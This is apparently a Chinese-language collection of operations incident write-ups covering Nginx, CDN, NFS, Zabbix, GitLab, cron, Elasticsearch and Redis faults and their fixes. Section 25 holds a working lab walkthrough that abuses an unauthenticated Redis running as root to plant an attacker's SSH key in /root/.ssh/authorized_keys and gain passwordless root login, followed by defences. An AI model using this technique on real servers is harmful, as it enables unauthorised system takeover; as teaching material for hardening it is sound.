一、NFS故障,造成系统cpu使用率低而负载极高。
故障概述: 公司使用NFS为web节点提供共享存储服务,某一天下午发现web节点CPU使用率低,而负载极高.登录web节点服务器排查发现后段NFS服务器故障.
影响范围: 网站看不到图片了。
处理流程: 通过ssh登录NFS服务器重启NFS服务
结果: 所有节点恢复正常。 https://www.jianshu.com/p/347afe9ba9ee
二、首页访问速度时快时慢。.hk的域名网站业务,站点测试正常但是出现用户反映站点打开不稳定。
故障概述:某天收到用户反应公司业务首页访问速度时快时慢,公司用的.hk的域名,站点测试正常但用户反应站点打开不稳定.
影响范围:中国大陆内地用户
处理流程:经过排查发现因为hk域名无法在中国备案,所以在香港地区购买的SLB,但ECS在内陆地区,于是出现测试正常使用时却出现站点时而不稳定的情况。通过跟云主机厂商的沟通后采取了拉一条从香港SLB到内陆ECS的专线以确保网络的稳定。
结果: 用户在访问时流量到达香港主机后,香港主机通过专线将流量分发到内地ECS主机集群,然后内地ECS主机集群处理完用户请求后,通过专线直接将数据发送给用户,缩减用户请求数据的延时。
三、将阿里云的域名迁移至万国数据中心,重新备案后所有子域名https都失效。[忘记替换]
故障概述:将阿里云的域名迁移至万国数据中心,重新备案后所有子域名https都失效了。
影响范围: 全部ECS实例
处理流程:
1.重新备案已完成,但网站所有二级域名https都失效,造成业务瘫痪。
2.首先认为是CA证书厂商问题,询问无果。
3.通过排查发现失效的域名都是CDN域名
结果:
后来与CDN厂商进行沟通得知,由于域名重新备案后存在缓存,需要刷新CDN缓存,否则域名重新备案后无法快速的恢复到https的状态。
四、网站部分图片访问成功,部分图片访问出现404?
故障概述:团队伙伴反应网站上的图片,有的可以显示有的不可以显示报404
影响范围:网站某些图片
处理流程:
1.分析404一般是没有文件才出现的,于是直接上nginx服务器上查看,检查路径下是否有相应的文件,文件是存在的。
2.检查nginx错误日志,找不到这个错误记录。
3.测试访问其他图片,发现出错的图片都是以pc开头的,其他大部分正常。
4.检查nignx反向代理节点配置,发现其中一个location匹配的规则如下:
location ~ /(pc|hera_insure) {
proxy_pass http://10.137.146.93:80;
proxy_set_header Host $host:$server_port;
proxy_set_header Remote_Addr $remote_addr;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_intercept_errors on;
}
5.修改配置匹配规则为: location ~ ^/(pc|hera_insure) ...
结果:
在nginx中有这么一个规则,location后面~的优先级高于什么都不写的模式(局部匹配),即location ~ /(pc|hera_insure) 这个匹配规则优先级高于 location /uploadfiles这个规则。我们期望URL中以/uploadfiles起始的请求都进入到 location /uploadfiles规则, 以/pc开头或者/hera_insure开头的url请求都进入到location ~ /(pc|hera_insure)规则。
https://www.cnblogs.com/shihuc/p/6374551.html
五、网站经过多级CDN转发,请求至源站,但源站无法通过X-Forward-for获取客户端真实IP地址。[realip模块]
故障概述:网站经过多级CDN转发,请求至源站,但源站无法通过X-Forward-for获取客户端真实IP地址。
影响范围:用户访问网站无法获取客户端真实IP。
处理流程:一般我们会在Nginx之前的代理服务器中把请求的原始来源地址编码进某个特殊的HTTP请求头中,然后再在Nginx中把这个请求头中编码的地址恢复出来。这样Nginx中的后续处理阶段(包括Nginx背后的各种后端应用)就会认为这些请求直接来自那些原始的地址,代理服务器就仿佛不存在一样。ngx_realip模块正是用来处理这个需求的。
结果:配置好之后realip模块会将用户的真实IP获取到,解决了无法获取客户端真实IP的问题。
六、Nginx错误日志出现大量499。
故障概述: 某天检查Nginx服务器时发现错误日志里大量出现499错误。
影响范围: Nginx服务器的应用程序无法连接数据库。
处理流程: 从前往后排查,发现JAVA中有无法连接数据库错误提示,检查mysql配置,发现max_connctions参数只有200,最后调整该参数。
结果: 调整了之后发现错误日志没有出现499的情况,恢复正常。
七、Nginx配置https出现ERR_SSL_PROTOCOL_ERROR?
故障概述: 公司部署了SSL证书服务,但访问网站时出现ERR_SSL_PROTOCOL_ERROR报错。
影响范围: 出现这个问题,核心原因是配置没有开启SSL模块。
处理流程: 登录Nginx服务器修改配置文件,将listen 443;改为listen 443 ssl;,然后重启Nginx服务。
结果: 配置好后重启服务恢复正常。
八、Nginx配置前端四层负载,代理至后端七层,由七层代理后端app程序,无法获取真实客户端IP。
故障概述: 由于公司架构原因,用户访问前端的四层负载均衡,四层负载将请求代理到七层负载均衡,由七层负载均衡代理到后端的app程序,导致后端app程序无法获取客户端的真实IP地址。
影响范围: 后端app程序无法获取客户端的真实地址。
故障分析:
多层代理环境中,若未配置 IP 透传,后端 APP 会将直接上游(七层负载)的 IP 当作客户端 IP,而非真实用户 IP。具体原因:
- 四层负载(Nginx Stream 模块) 默认仅转发 TCP 连接,不处理 HTTP 头,无法传递客户端 IP;
- 七层负载(Nginx HTTP 模块) 若未配置
X-Forwarded-For
或代理协议,会用自身 IP 覆盖客户端 IP; - 后端 APP 未正确解析代理传递的 IP 头(如
X-Forwarded-For
、Proxy-Proto
)。
处理流程:
1. 前端四层负载(Nginx Stream 模块)配置:启用代理协议
四层负载需通过Proxy Protocol(代理协议)将客户端真实 IP 传递给七层负载(仅支持 TCP 层传递)。
修改四层 Nginx 配置(nginx.conf
):
stream {upstream seven_layer {server 192.168.1.100:80; # 七层负载的IP和端口}server {listen 80; # 前端暴露的端口proxy_pass seven_layer;# 关键:启用Proxy Protocol v2,向七层负载传递客户端IPproxy_protocol on; }
}
- 说明:
proxy_protocol on
会在 TCP 连接建立时,向前端发送包含客户端 IP 和端口的协议头(格式:PROXY TCP4 客户端IP 四层负载IP 客户端端口 四层端口\r\n
)。
2. 七层负载(Nginx HTTP 模块)配置:解析代理协议并传递 HTTP 头
七层负载需要:
① 解析四层传递的 Proxy Protocol 获取真实 IP;
② 通过 HTTP 头(X-Forwarded-For
等)向后端 APP 传递真实 IP。
修改七层 Nginx 配置:
http {# ① 配置监听端口时,启用Proxy Protocol解析(需与四层对应)server {listen 80 proxy_protocol; # 必须加proxy_protocol,否则无法解析四层传递的IPserver_name example.com;# ② 提取客户端真实IP(从Proxy Protocol中)set_real_ip_from 192.168.1.200; # 允许信任的上游IP(即四层负载的IP)real_ip_header proxy_protocol; # 从proxy_protocol头中获取真实IP# ③ 向后端APP传递真实IP(通过HTTP头)location / {proxy_pass http://backend_app; # 后端APP的地址# 传递真实IP、协议、端口proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr; # 真实客户端IP(来自四层)proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # 代理链IPproxy_set_header X-Forwarded-Proto $scheme; # 客户端使用的协议(http/https)}}
}
- 关键:
real_ip_header proxy_protocol
用于从四层传递的协议头中提取真实 IP;proxy_set_header
确保后端能通过 HTTP 头获取该 IP。
3. 后端 APP 配置:解析 HTTP 头获取真实 IP
后端 APP 需从七层负载传递的 HTTP 头中读取真实 IP,而非直接获取上游(七层负载)的 IP。不同语言示例:
Nginx 作为后端(如静态资源服务器):
若后端也是 Nginx,需配置信任七层负载的 IP,直接获取真实 IP:
server {listen 8080;# 信任七层负载的IP,从X-Real-IP中获取真实IPset_real_ip_from 192.168.1.100; # 七层负载的IPreal_ip_header X-Real-IP;
}
验证测试:
检查代理协议是否生效:
在七层负载服务器上执行tcpdump port 80
,查看是否有PROXY TCP4
开头的协议头(来自四层负载)。验证 HTTP 头传递:
在后端 APP 日志中输出X-Real-IP
和X-Forwarded-For
,确认是否为客户端真实 IP(而非代理服务器 IP)。模拟客户端请求:
用curl -v http://前端四层IP
发起请求,检查后端记录的 IP 是否与客户端公网 IP 一致。
九、Nginx出现大量的closed keepalive connection,而其他节点主机没有出现。
- 故障概述:某天发现某台 Nginx 服务器日志中大量出现
closed keepalive connection
信息,其他节点日志无此内容,但业务无明显异常。 - 影响范围:仅日志记录形式不一致,业务服务未受影响(若连接关闭异常频繁,才会影响性能)。
- 处理流程:检查 Nginx 配置文件,发现该节点
error_log
级别为info
,其他节点为error
(或统一的更高级别)。 - 结果:将该节点日志级别调整为与其他节点一致(如
error
)后,日志中不再大量显示closed keepalive connection
,日志格式统一。
十、Nginx IP_hash进行会话保持,但通过内网访问发现无论哪台主机,调度的都是同一台后端节点?
故障概述: 我们测试发现使用内网访问Nginx负载,负载开启了IP_hash进行会话保持,导致无论哪台主机访问都是调度到同一后端节点。
影响范围: 造成后端某一节点压力过高,但其他节点几乎没有压力。
处理流程: 1.关闭负载的IP_hash 2.搭建一个redis,将会话使用redis进行保持
优化上面的处理流程:先排查源 IP 问题,再决定是否更换会话保持方案。
分析:ip_hash
的核心逻辑是:同一个客户端 IP 的请求,会被固定调度到同一台后端节点。
ip_hash
的优势是无状态(无需额外存储,依赖 IP 直接路由),而 Redis 存会话是有状态方案(需维护会话存储,增加复杂度)。若只是内网 IP 导致调度集中,更简单的方案是:- 检查内网请求的 “源 IP” 是否统一(如 NAT 网关导致),若有,可调整网络架构(如让 Nginx 获取真实客户端 IP);
- 若必须用会话保持,且
ip_hash
不满足,再考虑 Redis 方案。直接 “关闭 ip_hash 换 Redis” 属于过度设计。
优化后的处理流程:
先排查 IP_hash 调度集中的原因
- 检查内网客户端请求的 “源 IP”:通过 Nginx 日志(如
$remote_addr
)确认,是否所有请求的源 IP 都相同(如 NAT 网关 IP)。 - 检查 Nginx 配置:确保
upstream
中配置了多台后端节点,且ip_hash
指令生效(无语法错误)。
- 检查内网客户端请求的 “源 IP”:通过 Nginx 日志(如
针对性解决
- 若源 IP 统一(如 NAT 导致):
- 让 Nginx 获取真实客户端 IP(如通过
X-Forwarded-For
头,需前端代理传递); - 或改用其他负载均衡算法(如
least_conn
最小连接数),但会失去会话保持能力。
- 让 Nginx 获取真实客户端 IP(如通过
- 若确实需要会话保持且
ip_hash
不满足:- 再考虑 Redis 会话保持(需后端应用支持从 Redis 读取会话);
- 或使用
sticky cookie
(Nginx 可配置基于 Cookie 的会话保持)。
- 若源 IP 统一(如 NAT 导致):
结果: 使用redis进行会话保持后,负载将请求均匀的调度到后端节点。
十一、将原本物理环境的LNMP架构迁移至阿里云,与物理机相同配置,但就是iowait特别高。
故障概述: 将原本物理环境的LNMP架构迁移至阿里云,与物理机相同配置,但就是iowait特别高。 影响范围: 所有上云的机器运行缓慢。
处理流程: 经过测试发现,阿里云的高效云盘就是一推普通的SATA组成的,100MB/s,但是:物理机使用的是SAS盘,测试发现能够达到 400MB/s,使用的测试命令是 hdparam。
结果: 将阿里云的高效云盘,替换阿里云的SSD云盘、测试发现能够达到 400MB/s,至此iowait降了下来。
十二、zabbix出现Out Of Memory,将原本2G内存加到8G还是Out Of Memory。
故障概述: 公司zabbix服务在添加了一个模版后故障了,我们紧急重启服务时发现重启不了,通过检查zabbix日志发现zabbix报出了Out Of Memory的错误。
影响范围: zabbix无法启动,监控服务无法正常使用。
处理流程: 首先我们进行了重启服务,发现重启不了,然后通过查看日志,分析后发现出现了Out Of Memory的错误。我们又将服务器内存由原来的2G加到8G后重启服务,发现还是OOM的错误。然后通过排查zabbix配置文件发现zabbix的缓存参数 CacheSize=8M,CacheSize用于存储主机、项和触发器数据的共享内存大小,显然8M不够,我们将此参数调整为 CacheSize=2G 然后重启服务。
结果: 服务可以正常启动,并且添加模板之后,一切正常,指标也能显示。
建议: 在使用一些较大模板(包含很多自动发现规则)时,建议调高zabbix-server的cachesize缓存。
聊天记录:http://cdn.xuliangwei.com/15819390614174.jpg
十三、gitlab迁移故障:将独立的git服务器迁移至负载均衡后面,有负载均衡调度,发现无法通过ssh协议提交代码,而http协议则可以?
故障概述: 公司要求将独立的公网git服务器迁移至负载均衡后面,通过负载均衡进行调度访问。迁移后发现无法通过ssh协议提交代码,而http协议可以正常提交代码。
影响范围: 开发无法通过ssh协议提交代码。
处理流程: 由于ssh协议访问的是22端口,我们将git服务器迁移到负载均衡后方时通过ssh协议访问的是负载均衡的22端口,但通过排查负载均衡配置后发现负载均衡并没有将外网22端口配置转发到后端git服务器22端口上。我们将配置文件更改后将负载的外网22端口转发到git服务器的22端口。
结果: 通过测试发现通过ssh协议也可以提交代码了。
十四、gitlab迁移sIb
故障概述:
1.早起gitlab版本较低,且单点云服务器直接对外提供服务,后来架构改变,需要将gitlab迁移至反向代理( ECS自建)后端服务器并顺带进行版本升级。
2.gitlab迁移后,通过反向代理可正常访问gitlab网页并且登陆正常,进行ssh拉取代码测试发现无法连通, http拉取方式正常
影响范围: 开发部门无法正常提交代码
处理流程:
1.查看nginx反向代理,发现只做了七层代理没有做四层代理
2.通过修改nginx配置文件将22端口进行转发后端gitlab服务器故障解决。
3.gitlab通过pull clone代码成功后,进行修改发现无法push到gitlab服务器,原因在gitlab用户添加ssh秘钥时主机名和测试主机名不一致,客户端重新生成密钥对,将之添加故障解决。
结果:gitlab可以正常访问,ssh、http拉取均恢复正常,push 也恢复正常
十六、Harbor镜像仓库上传镜像时报错。
故障概述:Harbor仓库搭建好了,按照提示上传镜像时报错。
影响范围:无法上传镜像。
处理流程:1.通过查询工具说明查询问题。 2.在Harbor上创建用户,让开发登录账号,通过验证,dockerlogin。 3.重新推送镜像测试。
结果:可以正常上传镜像,不论上传还是下载镜像都是需要用户验证,没有做验证自然无法上传,下载镜像。
十七、jenkins编译项目git拉取仓库无权限
故障概述:IOS开发人员使用jenkins在苹果服务器上编译APP,调用git拉取仓库代码提示无权限,开发人员在测试环境3天调整未果,即将发版,耽误发版,直接罚钱!!!
影响范围:耽误iOS版本的发布
处理流程:1.找到权限限制问题,配置权限,编译IOS项目通过。 2.手动在苹果服务器上拉取仓库,提示无权限手动配置苹果服务器公钥加入git仓库用户下,拉取仓库,提示“登录仓库的用户为xxx,.......Phabricator......”通过查询工具说明,确认Phabricator,此程序负责仓库权限管理 3.联系管理员检查xxx用户是否有IOS项目权限,发现没有,为xxx用户增加项目权限。
结果:增加项目权限后,拉取仓库代码成功,编译通过。 原因分析 因为IOS项目人员交接,未进行此部分信息更新,导致新的开发人员没有权限拉取仓库代码。
十八、首页访问速度时快时慢
故障概述:公司首页访问速度问题,在app,IOS,浏览器上都有出现过,而且不定期出现。
影响范围:大量用户反映访问速度慢,导致用户体验度下降
处理流程: 1.按照用户浏览网站顺序,进行逐一排除。 2.检查全国DNS服务器内公司域名的解析IP是否正常,发现部分地区的DNS解析IP异常,检查异常IP是否能正常访问网站,输入浏览器访问,发现访问失败,联系负责域名管理的同事,确认F5上配置了域名解析,遗留的IP未删除,造成此问题,删除即可。
结果:删除遗留IP之后,公司首页访问速度明显提升
原因分析:人员交接时,未及时移除不用的IP造成解析有时正确有时错误,导致用户访问速度问题。
十九、ssh连接kvm失败
- 故障概述:KVM 虚拟机运行一段时间后,SSH 无法登录。
- 影响范围:无法通过 SSH 远程管理 KVM 虚拟机,可能导致运维操作受阻。
- 处理流程:
- 排查资源使用(如
top
命令查看内存、CPU 消耗),发现内存接近耗尽; - 分析系统日志(
/var/log/messages
、/var/log/secure
等),发现每天凌晨 root 用户有大量 SSH 登录记录且连接未正常释放,导致内存被持续占用; - 临时操作:杀死异常的 SSH 进程(如
pkill -9 sshd
后重启sshd
服务),或直接重启虚拟机恢复; - 根本原因排查:检查是否有定时任务、脚本或外部程序在凌晨触发大量 SSH 登录,导致连接泄漏。
- 排查资源使用(如
- 结果:通过重启临时恢复 SSH 连接,后续需进一步排查 “大量登录未释放” 的根源。
二十、Centos7无法访问特定IP的端口服务
故障概述:
1. 此次问题服务器之间网络访问都为内网访问。
2. 从库vip 10.8.1.252,主库vip 10.8.1.253,10.8.1.7可以访问主库,无法访问从库。
3. 从库连接使用的A记录,ping可以通,telent a记录或者vip都不通,直接被拒绝。被拒绝的速度非常快,看上去都没有尝试超时时间。
影响范围: 公司的有些业务无法正常维护。
处理流程:
1. 通过telnet和ping的检测,防火墙和selinux都为关闭状态,查看是否存在deny.host也没有。 2. 可以排除是数据库权限的问题,主库从库用户都一样
3. 排除其他可能后查看网卡配置文件
4. 有PEERDNS="no"这么个参数,它的作用是让 /etc/resolv.conf 在系统重启后不会被重写,C6之后基本都通过网卡配置文件来修改dns指向,这个配置应该是老运维添加的,先将其注释。
结果:注释后重启network服务,访问正常。还有一种可能是开启了NetworkManager服务
二十一、 服务器假死
故障概述:测试环境下某台节点服务器出现了能ping通,但是ssh登录不上,任何其他操作也都没有反应,包括上面部署的nginx也打不开。
影响范围:运维人员通过ssh远程登录方式连接不上服务器。
处理流程:通过连接显示器直接登录服务器,使用nice将sshd的进程优先级调高,这样系统内存吃紧,还是能勉强登录sshd进行调试的。 (假设因内存不足导致假死)
正确的思路应是先定位内存瓶颈,再针对性释放内存资源,最后恢复 sshd
服务。
定位内存问题
通过显示器登录后,执行:free -h
:查看物理内存和 Swap 剩余;top
:按M
排序,查看占用内存最高的进程;dmesg | grep -i oom
:检查是否触发 OOM(内存溢出)杀手。
缓解内存压力
- 若存在内存泄漏进程:直接终止占用内存最高的异常进程(
kill -9 <PID>
); - 若物理内存不足但 Swap 可用:临时增加 Swap(
fallocate -l 2G /swapfile; mkswap /swapfile; swapon /swapfile
); - 若内核内存不足(如
slab
缓存过高):尝试清理缓存(echo 3 > /proc/sys/vm/drop_caches
,注意生产环境谨慎使用)。
- 若存在内存泄漏进程:直接终止占用内存最高的异常进程(
恢复
sshd
服务
内存压力缓解后,重启sshd
服务(systemctl restart sshd
),或检查sshd
日志(/var/log/secure
)确认是否因资源不足启动失败。
结果:再通过ssh登录可以成功登录调试。
二十二、 crond误删除
故障概述:某天通过远程连接方式登录一台服务器执行了crontab命令,然后按了Ctrl+D,再查看时发现所有的crontab任务都没有了。
影响范围:定时任务无法正常执行。
处理流程:crontab有运行日志,在日志里面可以找到执行过的历史命令,前提是要有root权限。通过一段命令筛选出命令执行的日志,然后根据执行时间以及执行的命令进行恢复。
1. 确认故障现象与范围
- 操作:执行
crontab -l
查看当前用户定时任务,确认是否为空或任务缺失; - 验证:检查
/var/spool/cron/[用户名]
文件(系统存储crontab
任务的实际文件),确认文件内容是否丢失。
2. 排查任务丢失的原因
- 检查操作记录:
- 执行
history | grep -E 'crontab|cron'
,查看是否有crontab -r
(删除任务)、crontab 空文件
(覆盖任务)等危险操作; - 询问相关人员是否误操作(如编辑时意外删除内容并保存)。
- 执行
- 排除系统异常:
- 检查
/var/log/cron
日志,确认是否有cron
服务异常或文件系统错误(如磁盘满导致文件损坏); - 验证
/var/spool/cron/
目录权限(正常应为root:root
,权限0700
),排除权限错误导致的文件丢失。
- 检查
3. 尝试恢复任务
- 优先使用备份:
- 若存在
crontab
备份(如通过crontab -l > cron_backup_202408
定期备份),执行crontab cron_backup_202408
直接恢复; - 若使用版本控制工具(如 Git)管理任务脚本,从仓库中提取历史任务配置。
- 若存在
- 通过业务痕迹重建:
- 若无备份,查看
/var/log/cron
日志(记录任务执行历史),提取曾执行的脚本路径和大致执行时间(如2024-08-30 03:00:01 run-parts(/etc/cron.daily)[1234]: starting logrotate
); - 根据业务需求(如定时备份、日志清理、数据同步等),联系相关人员确认任务细节(执行时间、脚本路径、参数等),重新编写任务。
- 若无备份,查看
- 系统级任务检查:
- 若丢失的是系统级任务(如
/etc/cron.d/
、/etc/cron.hourly/
下的脚本),检查是否误删除脚本文件,可从同版本系统拷贝或重新创建。
- 若丢失的是系统级任务(如
4. 验证与固化
- 恢复后验证:执行
crontab -l
确认任务已恢复,等待任务触发时间(或手动执行脚本),检查/var/log/cron
确认任务正常运行。 - 预防措施:
- 配置定时备份:添加任务
0 0 * * * crontab -l > /backup/cron_$(date +\%Y\%m\%d).bak
,定期备份crontab
配置; - 限制操作权限:非必要不使用
root
用户配置crontab
,避免误操作影响全局任务; - 记录任务文档:将任务用途、时间规则、脚本路径等信息存档,便于后续维护
- 配置定时备份:添加任务
结果:crontab恢复完成,定时任务恢复正常。
二十三、 通过rm命令删除文件,但空间没有释放
故障概述: 某天接到一个求助,用rm命令删除了一个文件,但是通过df -h查看文件所在的空间并没有释放出来。
影响范围:删除文件后依然占用存储空间。
处理流程:首先判断有进程占用此文件,导致rm删掉的只是一个名字,进程还在持续向文件里读取写入数据,所以导致空间不能释放掉。
结果:重启相关程序后进程重新启动,占用的空间马上就释放掉了。
二十四、ES出现CPU爆满
1. 索引和搜索负载过高
原因:大量复杂的搜索请求、频繁的索引更新操作等,会导致 ES 集群的 CPU 使用率飙升。例如,模糊查询范围过大、缺少必要的索引,使得查询时需要进行大量的文档扫描;或者业务高峰期,短时间内有海量数据写入。
解决方法:
- 优化查询语句:尽量使用精确查询代替模糊查询,减少不必要的通配符查询;合理使用过滤器(Filter),因为过滤器会利用缓存,提高查询效率。比如,在使用
match
查询时,优先考虑使用term
查询(精确匹配),对于范围查询,可以使用range
过滤器。 - 创建合适的索引:分析业务查询场景,针对经常用于查询的字段创建索引。可以使用
PUT
请求创建索引,例如: PUT /your_index_name {"mappings": {"properties": {"field_name": {"type": "keyword" // 根据字段类型选择合适的类型,如text、keyword等}}} }
- 限流和削峰填谷:通过设置 ES 的请求队列、限流插件等方式,限制并发请求数量。还可以采用消息队列,将写入 ES 的数据先缓存起来,再以合适的速度写入 ES,避免瞬间写入压力过大。
2. 垃圾回收(GC)频繁
原因:ES 基于 Java 开发,当堆内存使用不合理,导致频繁的 Full GC 时,会占用大量 CPU 资源。比如堆内存设置过小,无法满足业务数据存储需求;或者存在大对象的频繁创建和销毁。
解决方法:
- 调整堆内存大小:合理设置 ES 的堆内存,一般建议不超过物理内存的 50%,且不超过 32GB(因为超过 32GB 后,Java 的指针压缩技术失效,会导致内存占用增加)。可以通过修改
elasticsearch.yml
文件中的bootstrap.memory_lock: true
(锁定内存,防止内存交换),并在启动脚本中设置堆内存大小,如-Xms
(初始堆大小)和-Xmx
(最大堆大小)参数。 - 优化对象生命周期:检查业务代码,避免频繁创建大对象。对于不再使用的对象,及时释放引用,让垃圾回收器能够正常回收内存。
3. 集群状态异常
原因:ES 集群中存在节点失联、分片分配不均衡等问题,会导致集群不断尝试恢复和调整状态,从而消耗大量 CPU。比如网络故障导致节点间通信中断,或者集群扩容后,分片没有合理分配。
解决方法:
- 检查网络连接:确保集群中各节点之间的网络稳定,没有丢包、延迟过高的情况。可以使用
ping
、traceroute
等命令进行网络检测,排查网络设备(如路由器、交换机)的配置和状态。 - 重新分配分片:通过 ES 的 API 查看分片分配情况,如
GET /_cat/shards?v
。如果发现分片分配不均衡,可以使用POST /_cluster/reroute
接口手动重新分配分片,或者调整cluster.routing.allocation.*
相关的配置参数,让集群自动进行更合理的分片分配。
4. 插件或脚本问题
原因:某些插件可能存在性能问题,或者自定义脚本在执行过程中占用大量 CPU。比如插件中存在死循环、复杂的计算逻辑等。
解决方法:
- 停用可疑插件:逐一停用已安装的插件,观察 CPU 使用率的变化,找出导致 CPU 升高的插件。可以使用
bin/elasticsearch-plugin remove plugin_name
命令移除插件。 - 优化脚本:如果使用了自定义脚本(如 Painless 脚本),检查脚本的逻辑,简化复杂的计算过程,避免不必要的循环和递归。
5. 硬件资源不足
原因:服务器的 CPU 核心数、内存等硬件资源无法满足 ES 的业务需求,导致 CPU 长期处于高负载状态。
解决方法:
- 升级硬件:根据 ES 的业务负载情况,增加服务器的 CPU 核心数、内存容量等硬件资源。在升级前,需要评估业务增长趋势,合理规划硬件配置。
- 考虑分布式部署:如果单机无法满足需求,可以将 ES 集群扩展为分布式集群,通过增加节点来分摊负载。
二十五、利用Redis远程入侵Linux
前提条件:1.redis以root用户运行 2.redis允许远程登陆 3.redis没有设置密码或者密码简单
入侵原理:
1.本质是利用了redis的热更新配置,可以动态的设置数据持久化的路径和持久化文件名称
2.首先攻击者可以远程登陆redis,然后将攻击者的ssh公钥当作一个key存入redis里
3.利用动态修改配置,将持久化目录保存成/root/.ssh
4.利用动态修改配置,将持久化文件名更改为authorized_keys
5.执行数据保存命令,这样就会在生成/root/,ssh/authorized_keys文件
6.而这个文件里包含了攻击者的密钥,所以此时攻击者可以免密登陆远程的服务器了
实验步骤:
1.生成密钥
[root@db02 ~/.ssh]# ssh-keygen
2.将密钥保存成文件
[root@db02 ~]# (echo -e "\n";cat /root/.ssh/id_rsa.pub ;echo -e "\n") > ssh_key
3.将密钥写入redis
[root@db02 ~]# cat ssh_key |redis-cli -h 10.0.0.51 -x set ssh_key OK
4.登陆redis动态修改配置并保存
[root@db02 ~]# redis-cli -h 10.0.0.51 10.0.0.51:6379> CONFIG set dir /root/.ssh OK 10.0.0.51:6379> CONFIG set dbfilename authorized_keys OK 10.0.0.51:6379> BGSAVE Background saving started
5.被攻击的机器查看是否生成文件
[root@db01 ~]# cat .ssh/authorized_keys
6.入侵者查看是否可以登陆
[root@db02 ~]# ssh 10.0.0.51 Last login: Wed Jun 24 23:00:14 2020 from 10.0.0.52 [root@db01 ~]# 此时可以发现,已经可以免密登陆了。
7.如何防范
1.以普通用户启动redis,这样就没有办法在/root/目录下创建数据 2.设置复杂的密码 3.不要监听所有端口,只监听内网地址 4.禁用动态修改配置的命令和危险命令 5.做好监控和数据备份
二十六、企业故障恢复案例
背景环境:正在运行的网站系统,mysql-5.7.20 数据库,数据量50G,日业务增量1-5M。
备份策略:每天23:00点,计划任务调用mysqldump执行全备脚本
故障时间点:年底故障演练:模拟周三上午10点误删除数据库,并进行恢复.
思路:
1、停业务,避免数据的二次伤害
2、找一个临时库,恢复周三23:00全备
3、截取周二23:00 --- 周三10点误删除之间的binlog,恢复到临时库
4、测试可用性和完整性
5、 方法一:直接使用临时库顶替原生产库,前端应用割接到新库 方法二:将误删除的表导出,导入到原生产库
6、开启业务
处理结果:经过20分钟的处理,最终业务恢复正常
二十七、Redis生产故障处理
问题描述:公司活动优惠券过期仍可使用
排查过程:
1.Redis查看优惠券对应的key发现TTL值发生变化。
2.联系开发查看是否对优惠券对应的key进行重新赋值,覆盖掉了原来的值。
3.经开发确认确实由于后期对key进行了覆盖,导致原来的TTL无效。
解决方案:
1.要求开发将关键值进行提交。
2.添加自定义监控项,一旦发现提交的key的TTL值发生了异常就报警。
二十八、Redis集群内存故障处理
故障描述:redis-cluster某个分片内存飙升,明显比其他分片高,而且还在增长,并且主从内存使用不一致
排查过程:
1.排查时主从复制无故障,较大的键值也不存在。
2.查看redis的info信息,发现client_longest_output_list数据异常。
3.分析原因应该是输出缓冲区占用内存较大,即有大量的数据从Redis服务器向某些客户端输出。
4.使用client list命令redis-cli -h host -p port client list | grep -v "omem=0",来查询输出缓冲区不为0的客户端连接,查询到monitor。
处理办法:
1.进行主从切换,继续观察新的master是否有异常,通过观察未出现异常
2.查找到真正的原因是monitor,关闭掉monitor的后,内存很快就降下来了
3.将monitor命令进行重命名,避免再次错误操作启动monitor进程
4.增加监控项,一旦发现monitor异常运行及时关闭